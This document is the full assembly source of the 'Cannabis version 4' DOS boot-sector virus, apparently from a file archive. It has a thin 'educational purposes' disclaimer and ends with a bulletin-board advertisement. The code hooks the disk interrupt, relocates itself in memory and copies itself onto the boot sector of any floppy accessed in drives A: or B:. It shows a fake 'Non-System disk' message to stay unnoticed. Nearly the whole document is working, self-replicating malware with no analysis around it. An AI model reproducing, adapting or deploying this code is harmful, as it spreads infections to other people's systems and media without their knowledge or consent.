home *** CD-ROM | disk | FTP | other *** search
- ;****************************************************************************
-
- ;* Cannabis version 4
-
- ;*
-
- ;* Compile with TASM 2.0
-
- ;* (other assemblers will probably not produce the same result)
-
- ;*
-
- ;* Disclaimer:
-
- ;* This file is only for educational purposes. The author takes no
-
- ;* responsibility for anything anyone does with this file. Do not
-
- ;* modify this file!
-
- ;****************************************************************************
-
-
-
- cseg segment
-
- assume cs:cseg,ds:cseg,es:nothing
-
-
-
- .RADIX 16
-
-
-
- BASE equ 7C00
-
-
-
- org 0
-
-
-
- begin: jmp start
-
-
-
- org 3
-
-
-
- db 'CANNABIS' ;BIOS parameter block
-
- dw 0200
-
- db 2
-
- dw 1
-
- db 2
-
- dw 112d
-
- dw 720d
-
- db 0FDh
-
- dw 2
-
- dw 9
-
- dw 2
-
- dw 0
-
-
-
- org 3E
-
-
-
- start: cld ;initialise segments + stack
-
- cli
-
- xor ax,ax
-
- mov ss,ax
-
- mov ds,ax
-
- mov sp,7C00
-
-
-
- mov bx,offset ni13+BASE ;check int13 vector
-
- mov ax,ds:[4*13]
-
- cmp ax,bx
-
- je installed
-
-
-
- mov ds:[oi13+BASE],ax ;save old vector
-
- mov ax,ds:[4*13+2]
-
- mov di,400
-
- mov ds:[oi13+2+BASE],ax
-
-
-
- mov ax,ds:[di+13]
-
- dec ax
-
- mov cl,6
-
- mov ds:[di+13],ax
-
-
-
- shl ax,cl
-
- sub ax,07C0
-
-
-
- mov cx,0200 ;copy virus to top
-
- mov di,sp
-
- mov es,ax
-
- mov si,sp
-
- rep movsb
-
-
-
- mov ds:[4*13+2],es ;set new vector
-
- mov ds:[4*13],bx
-
-
-
- installed: xor ax,ax
-
- push ss
-
- pop es
-
- mov bx,0078
-
- lds si,ss:[bx] ;ds:si = int 1E (=table ptr)
-
- push ds
-
- push si
-
- push ss
-
- push bx
-
- mov cx,0bh
-
- mov di,7C3Eh ;move table -> ds:7C3E
-
- rep movsb
-
- push es
-
- pop ds
-
- mov cx,ds:[7C18]
-
- mov byte ptr [di-2], 0fh
-
- mov [bx+2],ax
-
- mov [di-7],cl
-
-
-
- mov word ptr [bx],7C3E
-
- sti
-
- int 13 ;reset disk
-
- jc error
-
- mov cx,ds:[7C13] ;number of sectors
-
- mov ds:[7C20],cx
-
- mov ax,ds:[7C16] ;calculate root-entry (FAT)
-
- shl ax,1
-
- inc ax
-
- mov ds:[7C49],ax ;save value
-
- mov ds:[7C50],ax
-
-
-
- mov ax,ds:[7C11] ;calculate IO.SYS entry
-
- mov cl,4
-
- shr ax,cl
-
- add ds:[7C49],ax
-
-
-
- mov ax,ds:[7C50]
-
- mov bx,0500
-
- call readsector
-
- jc error
-
- cmp word ptr [bx], 'OI' ;IO.SYS ?
-
- jne ibmtest
-
- cmp word ptr [bx+20], 'SM' ;MSDOS.SYS ?
-
- je continue
-
- jmp short error
-
-
-
- ibmtest: cmp word ptr [bx], 'BI' ;IBMBIO.COM ?
-
- jne error
-
- cmp word ptr [bx+20], 'BI' ;IBMDOS.COM ?
-
- je continue
-
-
-
- error: mov si,offset errortxt+BASE ;print error-message
-
- call print
-
- xor ax,ax
-
- int 16 ;wait for keypress
-
- pop si ;restore int 1E vector
-
- pop ds
-
- pop [si]
-
- pop [si+2]
-
- int 19 ;boot again...
-
-
-
- continue: mov cx,3 ;at ds:0700
-
- mov bx,0700
-
- mov ax,ds:[7C49]
-
-
-
- nextsec: call readsector
-
- jc error
-
- add bx,0200
-
- inc ax
-
- loop nextsec
-
-
-
- mov dl,0
-
- mov ch,ds:[7C15] ;go to begin IO.SYS
-
- mov bx,ds:[7C49]
-
- mov ax,0
-
- db 0EA, 0, 0, 70, 0
-
-
-
-
-
- ;****************************************************************************
-
- ;* Read a sector
-
- ;****************************************************************************
-
-
-
- readsector: push cx
-
- push ax
-
-
-
- div byte ptr ds:[7C18] ;al=sec/9 (0-160) ah=sec. (0-8)
-
- cwd
-
- inc ah ;ah=1-9 (sector)
-
- shr al,1 ;al=0-80 (track)
-
- adc dh,0 ;dh=0/1 (head) dl=0 (drive)
-
- xchg ah,al
-
- mov cx,0201
-
- xchg ax,cx
-
- int 13
-
-
-
- pop ax
-
- pop cx
-
- return: ret
-
-
-
-
-
- ;****************************************************************************
-
- ;* Print message
-
- ;****************************************************************************
-
-
-
- print: lodsb
-
- or al,al
-
- jz return
-
- mov ah,0Eh
-
- mov bx,7
-
- int 10
-
- jmp short print
-
-
-
-
-
- ;****************************************************************************
-
- ;* Int 13 handler
-
- ;****************************************************************************
-
-
-
- ni13: push ax
-
- push ds
-
- cmp ah,4 ;funktion 0-4?
-
- ja cancel
-
- cmp ch,1
-
- ja cancel
-
- test dx,0FFFEh ;drive A: or B: ? (head=0)
-
- jnz cancel
-
- xor ax,ax
-
- mov ds,ax
-
-
-
- infect: push cx
-
- push bx
-
- push di
-
- push si
-
- push es
-
- mov ax,0201 ;read bootsector at 7E00
-
- mov bx,7E00
-
- mov cx,1
-
- push cs
-
- push cs
-
- pop ds
-
- pop es
-
- pushf
-
- push cs
-
- call orgint13
-
- jc exit
-
-
-
- mov di,7C0Bh ;move BPB to virus
-
- mov cl,33
-
- mov si,7E0Bh
-
- rep movsb
-
-
-
- mov ax,0301 ;write virus to boot-sector
-
- mov bx,7C00
-
- mov cx,1
-
- pushf
-
- push cs
-
- call orgint13
-
-
-
- exit: pop es
-
- pop si
-
- pop di
-
- pop bx
-
- pop cx
-
-
-
- cancel: pop ds
-
- pop ax
-
- orgint13: jmp dword ptr cs:[oi13+BASE] ;original vector
-
-
-
-
-
- ;****************************************************************************
-
- ;* Data
-
- ;****************************************************************************
-
-
-
- oi13 dw ?,? ;original int 13 vector
-
-
-
- errortxt db 0Dh, 0Ah, 'Non-System disk or disk error'
-
- db 0Dh, 0Ah, 'Replace and press a key when ready'
-
- db 0Dh, 0Ah, 0
-
-
-
-
-
- org 01FEh
-
-
-
- db 55, 0AA
-
-
-
- cseg ends
-
- end begin
-
-
-
- ; ─────────────────────────────────────────────────────────────────────────
-
- ; ────────────────────> and Remember Don't Forget to Call <────────────────
-
- ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
-
- ; ─────────────────────────────────────────────────────────────────────────
-
-